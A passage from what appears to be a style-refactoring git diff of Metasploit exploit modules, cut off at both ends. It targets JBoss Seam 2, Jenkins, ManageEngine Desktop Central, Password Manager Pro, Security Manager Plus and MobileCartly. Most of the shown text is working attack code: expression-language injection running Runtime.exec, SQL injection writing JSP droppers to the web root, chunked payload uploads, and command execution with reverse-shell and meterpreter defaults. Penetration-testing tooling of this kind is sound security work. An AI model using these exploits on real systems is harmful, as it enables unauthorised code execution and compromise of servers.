Trident/4.0)"]), - OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), - OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), + OptString.new('AGENT', [ true, 'User-Agent to send with requests', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)']), + OptString.new('CTYPE', [ true, 'Content-Type to send with requests', 'application/x-www-form-urlencoded']), + OptString.new('TARGETURI', [ true, 'URI that is built on JBoss Seam 2', '/admin-console/login.seam']), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), - OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), + OptString.new('FNAME', [ false, 'Name of file to create - NO EXTENSION! (default: random)', nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ] ) @@ -80,17 +80,17 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" - }, timeout = datastore['TIMEOUT'] + }, datastore['TIMEOUT'] ) if (res and res.code == 302 and res.headers['Location']) - vprint_status("Server sent a 302 with location") - if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) + vprint_status('Server sent a 302 with location') + if (res.headers['Location'] =~ /public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime%28%29/) report_vuln({ - :host => rhost, - :port => rport, - :name => "#{self.name} - #{uri}", - :refs => self.references, - :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." + host: rhost, + port: rport, + name: "#{name} - #{uri}", + refs: references, + info: "Module #{fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else @@ -115,10 +115,10 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" - }, timeout = datastore['TIMEOUT'] + }, datastore['TIMEOUT'] ) if (res and res.code == 302 and res.headers['Location']) - if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) + if (res.headers['Location'] =~ /user=java.lang.UNIXProcess/) vprint_good("#{rhost}:#{rport} Exploit successful") else vprint_error("#{rhost}:#{rport} Exploit failed") @@ -129,12 +129,12 @@ class MetasploitModule < Msf::Exploit::Remote end def call_jsp(jspname) - # TODO ugly way to strip off last resource on a path + # TODO: ugly way to strip off last resource on a path uri = target_uri.path - *keep, ignore = uri.split(/\//) + *keep, _ = uri.split(%r{/}) keep.push(jspname) - uri = keep.join("/") - uri = "/" + uri if (uri[0] != "/") + uri = keep.join('/') + uri = '/' + uri if (uri[0] != '/') res = send_request_cgi( { @@ -142,13 +142,13 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], - 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) - }, timeout = datastore['TIMEOUT'] + 'data' => 'sessionid=' + Rex::Text.rand_text_alpha(32) + }, datastore['TIMEOUT'] ) if (res and res.code == 200) - vprint_good("Successful request to JSP") + vprint_good('Successful request to JSP') else - vprint_error("Failed to request JSP") + vprint_error('Failed to request JSP') end end @@ -162,12 +162,12 @@ class MetasploitModule < Msf::Exploit::Remote c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP - vprint_status("Uploading JSP to launch payload") + vprint_status('Uploading JSP to launch payload') status = upload_file_chunk(filename, 'false', jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else - vprint_error("Failed to upload file.") + vprint_error('Failed to upload file.') end @pl_sent = true @@ -176,8 +176,8 @@ class MetasploitModule < Msf::Exploit::Remote def upload_file_chunk(filename, append = 'false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) - b64 = b64.gsub("+", "%2b") - b64 = b64.gsub("/", "%2f") + b64 = b64.gsub('+', '%2b') + b64 = b64.gsub('/', '%2f') uri = target_uri.path res = send_request_cgi( @@ -187,12 +187,12 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 - }, timeout = datastore['TIMEOUT'] + }, datastore['TIMEOUT'] ) if (res and res.code == 302 and res.headers['Location']) - # TODO Including the conversationId part in this regex might cause + # TODO: Including the conversationId part in this regex might cause # failure on other Seam applications. Needs more testing - if (res.headers['Location'] =~ %r(user=&conversationId)) + if (res.headers['Location'] =~ /user=&conversationId/) # vprint_status("#{rhost}:#{rport} Exploit successful.") return true else @@ -214,14 +214,14 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" - }, timeout = datastore['TIMEOUT'] + }, datastore['TIMEOUT'] ) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file - matches = /.*user=(.+)\&.*/.match(res.headers['Location']) + matches = /.*user=(.+)&.*/.match(res.headers['Location']) if (matches and matches.captures) - return Rex::Text::uri_decode(matches.captures[0]) + return Rex::Text.uri_decode(matches.captures[0]) else return nil end @@ -231,8 +231,8 @@ class MetasploitModule < Msf::Exploit::Remote end def java_stager(fname, chunk_size) - @payload_exe = fname + ".jar" - jsp_name = fname + ".jsp" + @payload_exe = fname + '.jar' + jsp_name = fname + '.jsp' # data = payload.encoded_jar.pack data = payload.encoded_jar.pack @@ -241,9 +241,9 @@ class MetasploitModule < Msf::Exploit::Remote while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status - vprint_status("Uploaded chunk") + vprint_status('Uploaded chunk') else - vprint_error("Failed to upload chunk") + vprint_error('Failed to upload chunk') break end data = data[chunk_size, data.length - chunk_size] @@ -252,9 +252,9 @@ class MetasploitModule < Msf::Exploit::Remote end status = upload_file_chunk(@payload_exe, 'true', data) if status - vprint_status("Payload uploaded to " + @payload_exe) + vprint_status('Payload uploaded to ' + @payload_exe) else - vprint_error("Failed to upload file.") + vprint_error('Failed to upload file.') end # write a JSP that can call the payload in the jar @@ -274,13 +274,12 @@ class MetasploitModule < Msf::Exploit::Remote if check == Exploit::CheckCode::Vulnerable - fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8 + rand(8)) + fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(rand(8..15)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator - append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) diff --git a/modules/exploits/multi/http/jenkins_metaprogramming.rb b/modules/exploits/multi/http/jenkins_metaprogramming.rb index b47a31f4c0..1ae4c809a2 100644 --- a/modules/exploits/multi/http/jenkins_metaprogramming.rb +++ b/modules/exploits/multi/http/jenkins_metaprogramming.rb @@ -62,19 +62,23 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Version' => Rex::Version.new('2.137'), - 'Type' => :unix_memory, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Rex::Version.new('2.137'), + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } + } ], [ 'Java Dropper', - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Version' => Rex::Version.new('2.137'), - 'Type' => :java_dropper, - 'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_https' } + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Version' => Rex::Version.new('2.137'), + 'Type' => :java_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_https' } + } ] ], 'DefaultTarget' => 1, @@ -98,8 +102,6 @@ class MetasploitModule < Msf::Exploit::Remote http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] =end def check - checkcode = CheckCode::Safe - res = send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1('/search/index'), @@ -112,7 +114,6 @@ class MetasploitModule < Msf::Exploit::Remote end vprint_status("Jenkins #{version} detected") - checkcode = CheckCode::Detected if Rex::Version.new(version) > target['Version'] vprint_error("Jenkins #{version} is not a supported target") diff --git a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb index 6527f88c9a..7b620ed4b8 100644 --- a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb +++ b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb @@ -35,39 +35,51 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix (In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } ], [ 'Python (In-Memory)', - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } ], [ 'PowerShell (In-Memory)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], [ 'Windows (CMD)', - 'Platform' => 'win', - 'Arch' => [ARCH_CMD], - 'Payload' => { - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'adduser, generic' + { + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'adduser, generic' + } } } ], [ 'Linux (Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64] + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + } ], [ 'Windows (Dropper)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64] + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } ] ], 'DefaultTarget' => 0, @@ -113,29 +125,29 @@ class MetasploitModule < Msf::Exploit::Remote execute_command(payload.encoded) wait_for_session else - execute_cmdstager({ :flavor => :certutil }) + execute_cmdstager({ flavor: :certutil }) wait_for_session end end # Exploit methods - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) cmd = case target.name when /Unix/, /Linux/ - %W{/bin/sh -c #{cmd}} + %W[/bin/sh -c #{cmd}] when /Python/ - %W{python -c #{cmd}} + %W[python -c #{cmd}] when /Windows/, /CMD/ - %W{cmd.exe /c #{cmd}} + %W[cmd.exe /c #{cmd}] when /PowerShell/ - psh_opts = { :remove_comspec => true, :wrap_double_quotes => true } - %W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}} + psh_opts = { remove_comspec: true, wrap_double_quotes: true } + %W[cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}] end # Encode each command argument with XML entities cmd.map! { |arg| arg.encode(xml: :text) } - res = send_request_cgi( + send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/createItem'), 'vars_get' => { 'name' => 'random' }, @@ -145,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Remote end def wait_for_session - print_status "Waiting for exploit to complete..." + print_status 'Waiting for exploit to complete...' begin Timeout.timeout(datastore['ListenerTimeout']) do loop do @@ -155,7 +167,7 @@ class MetasploitModule < Msf::Exploit::Remote end end rescue ::Timeout::Error - fail_with(Failure::Unknown, "Timeout waiting for exploit to complete") + fail_with(Failure::Unknown, 'Timeout waiting for exploit to complete') end end diff --git a/modules/exploits/multi/http/jira_plugin_upload.rb b/modules/exploits/multi/http/jira_plugin_upload.rb index c68630229c..06c12a23fd 100644 --- a/modules/exploits/multi/http/jira_plugin_upload.rb +++ b/modules/exploits/multi/http/jira_plugin_upload.rb @@ -106,10 +106,9 @@ class MetasploitModule < Msf::Exploit::Remote # Upload, execute, and remove servlet def upload_exec(upm_token, good_cookie) - contents = '' name = Rex::Text.rand_text_alpha(8..12) - atlassian_plugin_xml = %Q{ + atlassian_plugin_xml = %( <atlassian-plugin name="#{name}" key="#{name}" plugins-version="2"> <plugin-info> <description></description> @@ -127,7 +126,7 @@ class MetasploitModule < Msf::Exploit::Remote </servlet> </atlassian-plugin> - } + ) # Generates .jar file for upload zip = payload.encoded_jar @@ -242,9 +241,10 @@ class MetasploitModule < Msf::Exploit::Remote # Finds SID from HTTP response headers def get_sid(res) - if res.nil? - return '' if res.blank? + if res.nil? && res.blank? + return '' end + res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' end end diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 2b2f2d0400..38024ff13d 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection", + 'Name' => 'ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection', 'Description' => %q{ This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and @@ -160,13 +160,9 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end - if datastore['WEB_ROOT'] - web_root = datastore['WEB_ROOT'] - else - web_root = @my_target['WebRoot'] - end + web_root = datastore['WEB_ROOT'] || @my_target['WebRoot'] - jsp_name = rand_text_alpha_lower(8) + ".jsp" + jsp_name = rand_text_alpha_lower(8) + '.jsp' fullpath = web_root + jsp_name inject_exec(fullpath) register_file_for_cleanup(fullpath.sub('../', '')) @@ -180,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote db_paths = {} res = send_request_cgi({ - 'uri' => normalize_uri("PassTrixMain.cc"), + 'uri' => normalize_uri('PassTrixMain.cc'), 'method' => 'GET' }) @@ -201,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Remote def desktop_central_db_paths db_paths = {} res = send_request_cgi({ - 'uri' => normalize_uri("configurations.do"), + 'uri' => normalize_uri('configurations.do'), 'method' => 'GET' }) @@ -235,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote file_path = mysql_path << rand_txt # @@version_compile_os will give us Win32 / Win64 if it's a Windows target - inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql") + inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", 'mysql') res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), @@ -265,7 +261,7 @@ class MetasploitModule < Msf::Exploit::Remote file_path = postgresql_path << rand_txt # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux) - inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + inject_sql("copy (select version()) to '#{file_path}'", 'postgresql') res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), @@ -295,7 +291,7 @@ class MetasploitModule < Msf::Exploit::Remote # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and # no WEB_ROOT was provided. Let's try one of the defaults before bailing out. file_path = targets[5]['WebRoot'].dup << rand_txt - inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + inject_sql("copy (select version()) to '#{file_path}'", 'postgresql') res = send_request_cgi({ 'uri' => normalize_uri(rand_txt), @@ -313,8 +309,8 @@ class MetasploitModule < Msf::Exploit::Remote def pick_target return target if target.name != 'Automatic' - print_status("Selecting target, this might take a few seconds...") - rand_txt = rand_text_alpha_lower(8) << ".txt" + print_status('Selecting target, this might take a few seconds...') + rand_txt = rand_text_alpha_lower(8) << '.txt' paths = db_paths @@ -343,34 +339,34 @@ class MetasploitModule < Msf::Exploit::Remote # Creates the JSP that will assemble the payload on the server # def generate_jsp_encoded(files) - native_payload_name = rand_text_alpha(rand(6) + 3) + native_payload_name = rand_text_alpha(rand(3..8)) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' - var_raw = rand_text_alpha(rand(8) + 3) - var_ostream = rand_text_alpha(rand(8) + 3) - var_buf = rand_text_alpha(rand(8) + 3) - var_decoder = rand_text_alpha(rand(8) + 3) - var_tmp = rand_text_alpha(rand(8) + 3) - var_path = rand_text_alpha(rand(8) + 3) - var_proc2 = rand_text_alpha(rand(8) + 3) - var_files = rand_text_alpha(rand(8) + 3) - var_ch = rand_text_alpha(rand(8) + 3) - var_istream = rand_text_alpha(rand(8) + 3) - var_file = rand_text_alpha(rand(8) + 3) + var_raw = rand_text_alpha(rand(3..10)) + var_ostream = rand_text_alpha(rand(3..10)) + var_buf = rand_text_alpha(rand(3..10)) + var_decoder = rand_text_alpha(rand(3..10)) + var_tmp = rand_text_alpha(rand(3..10)) + var_path = rand_text_alpha(rand(3..10)) + var_proc2 = rand_text_alpha(rand(3..10)) + var_files = rand_text_alpha(rand(3..10)) + var_ch = rand_text_alpha(rand(3..10)) + var_istream = rand_text_alpha(rand(3..10)) + var_file = rand_text_alpha(rand(3..10)) - files_decl = "{ " + files_decl = '{ ' files.each { |file| files_decl << "\"#{file}\"," } - files_decl[-1] = "}" + files_decl[-1] = '}' if @my_target['Platform'] == 'linux' - var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) - chmod = %Q| + var_proc1 = Rex::Text.rand_text_alpha(rand(3..10)) + chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | - var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) - cleanup = %Q| + var_proc3 = Rex::Text.rand_text_alpha(rand(3..10)) + cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | @@ -379,7 +375,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = '' end - jsp = %Q| + jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% @@ -418,27 +414,27 @@ class MetasploitModule < Msf::Exploit::Remote if @my_target['Database'] == 'postgresql' # Ruby's base64 encoding adds newlines at every 60 chars, strip them - [jsp].pack("m*").gsub(/\n/, '') + [jsp].pack('m*').gsub(/\n/, '') else # Assuming mysql, applying hex encoding instead - jsp.unpack("H*")[0] + jsp.unpack('H*')[0] end end def inject_sql(sqli_command, target = nil) - target = (target == nil) ? @my_target['Database'] : target + target = (target.nil?) ? @my_target['Database'] : target if target == 'postgresql' - sqli_prefix = "viewname\";" - sqli_suffix = ";-- " + sqli_prefix = 'viewname";' + sqli_suffix = ';-- ' else # Assuming mysql - sqli_prefix = "viewname\" union " - sqli_suffix = "#" + sqli_prefix = 'viewname" union ' + sqli_suffix = '#' end send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri("LinkViewFetchServlet.dat"), + 'uri' => normalize_uri('LinkViewFetchServlet.dat'), 'vars_get' => { 'sv' => sqli_prefix << sqli_command << sqli_suffix } @@ -455,11 +451,11 @@ class MetasploitModule < Msf::Exploit::Remote # Generate the actual payload def generate_exe_payload - opts = { :arch => @my_target.arch, :platform => @my_target.platform } + opts = { arch: @my_target.arch, platform: @my_target.platform } payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win' exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform, - payload.encoded, "exe-small", opts) + payload.encoded, 'exe-small', opts) else exe = generate_payload_exe(opts) end @@ -488,12 +484,12 @@ class MetasploitModule < Msf::Exploit::Remote # The Windows path has to be escaped with 4 backslashes because ruby eats one # and the JSP eats the other. files = Array.new(chunks) - files.map! do |file| + files.map! do |_file| if @my_target['Platform'] == 'win' - file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8) + 3) + 'C:\\\\windows\\\\system32\\\\' + rand_text_alpha(rand(3..10)) else # Assuming Linux, let's hope we can write to /tmp - file = "/tmp/" + rand_text_alpha(rand(8) + 3) + '/tmp/' + rand_text_alpha(rand(3..10)) end end @@ -534,23 +530,23 @@ class MetasploitModule < Msf::Exploit::Remote end def check_desktop_central_8(body) - if body =~ /id="buildNum" value="([0-9]+)"\/>/ - build = $1 + if body =~ %r{id="buildNum" value="([0-9]+)"/>} + build = ::Regexp.last_match(1) if ver_gt(build, '80200') print_status("Detected Desktop Central v8 #{build}") else print_status("Detected Desktop Central v8 #{build} (MySQL)") end else - print_status("Detected Desktop Central v8 (MySQL)") + print_status('Detected Desktop Central v8 (MySQL)') end # DC v8 < 80200 uses the MySQL database Exploit::CheckCode::Appears end def check_desktop_central_9(body) - if body =~ /id="buildNum" value="([0-9]+)"\/>/ - build = $1 + if body =~ %r{id="buildNum" value="([0-9]+)"/>} + build = ::Regexp.last_match(1) print_status("Detected Desktop Central v9 #{build}") if ver_lt(build, '90039') return Exploit::CheckCode::Appears @@ -563,7 +559,7 @@ class MetasploitModule < Msf::Exploit::Remote # Test for Desktop Central def check_desktop_central res = send_request_cgi({ - 'uri' => normalize_uri("configurations.do"), + 'uri' => normalize_uri('configurations.do'), 'method' => 'GET' }) @@ -574,7 +570,7 @@ class MetasploitModule < Msf::Exploit::Remote if res.body.to_s =~ /ManageEngine Desktop Central 7/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 uses the MySQL database - print_status("Detected Desktop Central v7 (MySQL)") + print_status('Detected Desktop Central v7 (MySQL)') return Exploit::CheckCode::Appears elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ @@ -590,7 +586,7 @@ class MetasploitModule < Msf::Exploit::Remote # Test for Password Manager Pro def check_password_manager_pro res = send_request_cgi({ - 'uri' => normalize_uri("PassTrixMain.cc"), + 'uri' => normalize_uri('PassTrixMain.cc'), 'method' => 'GET' }) @@ -599,9 +595,9 @@ class MetasploitModule < Msf::Exploit::Remote ( res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 - res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 + res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7 ) - build = $1 + build = ::Regexp.last_match(1) else return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index f5fcf033dc..c58acd1ba7 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection", + 'Name' => 'ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection', 'Description' => %q{ This module exploits a SQL injection found in ManageEngine Security Manager Plus advanced search page, which results in remote code execution under the context of @@ -69,14 +69,14 @@ class MetasploitModule < Msf::Exploit::Remote return target if target.name != 'Automatic' rnd_num = Rex::Text.rand_text_numeric(1) - rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt" + rnd_fname = Rex::Text.rand_text_alpha(5) + '.txt' clean_path = "../webapps/SecurityManager/#{rnd_fname}" - outpath = "../" + clean_path + outpath = '../' + clean_path register_file_for_cleanup(clean_path) sqli = "#{rnd_num})) union select @@version," - sqli << (2..28).map { |e| e } * "," + sqli << (2..28).map { |e| e } * ',' sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}" sqli_exec(sqli) @@ -86,10 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote # Linux = 5.0.36-enterprise # Windows = 5.0.36-enterprise-nt - if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/ + if res and res.body =~ /\d\.\d\.\d\d-enterprise-nt/ print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}") return targets[1] # Windows target - elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/ + elsif res and res.body =~ /\d\.\d\.\d\d-enterprise/ print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}") return targets[2] end @@ -101,28 +101,28 @@ class MetasploitModule < Msf::Exploit::Remote # Embeds our executable in JSP # def generate_jsp_payload - opts = { :arch => @my_target.arch, :platform => @my_target.platform } + opts = { arch: @my_target.arch, platform: @my_target.platform } native_payload = Rex::Text.encode_base64(generate_payload_exe(opts)) - native_payload_name = Rex::Text.rand_text_alpha(rand(6) + 3) + native_payload_name = Rex::Text.rand_text_alpha(rand(3..8)) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' - var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) - var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) - var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) - var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) - var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) - var_path = Rex::Text.rand_text_alpha(rand(8) + 3) - var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) + var_raw = Rex::Text.rand_text_alpha(rand(3..10)) + var_ostream = Rex::Text.rand_text_alpha(rand(3..10)) + var_buf = Rex::Text.rand_text_alpha(rand(3..10)) + var_decoder = Rex::Text.rand_text_alpha(rand(3..10)) + var_tmp = Rex::Text.rand_text_alpha(rand(3..10)) + var_path = Rex::Text.rand_text_alpha(rand(3..10)) + var_proc2 = Rex::Text.rand_text_alpha(rand(3..10)) if @my_target['Platform'] == 'linux' - var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) - chmod = %Q| + var_proc1 = Rex::Text.rand_text_alpha(rand(3..10)) + chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | - var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) - cleanup = %Q| + var_proc3 = Rex::Text.rand_text_alpha(rand(3..10)) + cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | @@ -131,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = '' end - jsp = %Q| + jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> @@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') - jsp.unpack("H*")[0] + jsp.unpack('H*')[0] end def sqli_exec(sqli_string) @@ -206,7 +206,7 @@ class MetasploitModule < Msf::Exploit::Remote hex_jsp = generate_jsp_payload rnd_num = Rex::Text.rand_text_numeric(1) sqli = "#{rnd_num})) union select 0x#{hex_jsp}," - sqli << (2..28).map { |e| e } * "," + sqli << (2..28).map { |e| e } * ',' sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}" print_status("#{rhost}:#{rport} - Trying SQL injection...") @@ -226,14 +226,14 @@ class MetasploitModule < Msf::Exploit::Remote return end - jsp_name = rand_text_alpha(rand(6) + 3) + jsp_name = rand_text_alpha(rand(3..8)) # The working directory when our payload runs is # c:/AdventNet/SecurityManager/bin/ # while the jsp file will be in # c:/AdventNet/SecurityManager/webapps/SecurityManager/ # so we need to adjust the traversal level. clean_path = "../webapps/SecurityManager/#{jsp_name + '.jsp'}" - outpath = "../" + clean_path + outpath = '../' + clean_path register_file_for_cleanup(clean_path) diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 3c97cdcbca..8253a7355d 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability", + 'Name' => 'MobileCartly 1.0 Arbitrary File Creation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in MobileCartly. The savepage.php file does not do any permission checks before using file_put_contents(), which @@ -29,8 +29,8 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2012-10044' ], [ 'OSVDB', '85509' ], - [ 'EDB', '20422 '], - [ 'BID', '55399 '] + [ 'EDB', '20422'], + [ 'BID', '55399'] ], 'Payload' => { # Goes in the query string, needs to fit in 8k. Leave a little @@ -63,9 +63,9 @@ class MetasploitModule < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1, 1] != '/' - base = File.dirname("#{uri}.") + File.dirname("#{uri}.") - res = send_request_raw({ 'uri' => 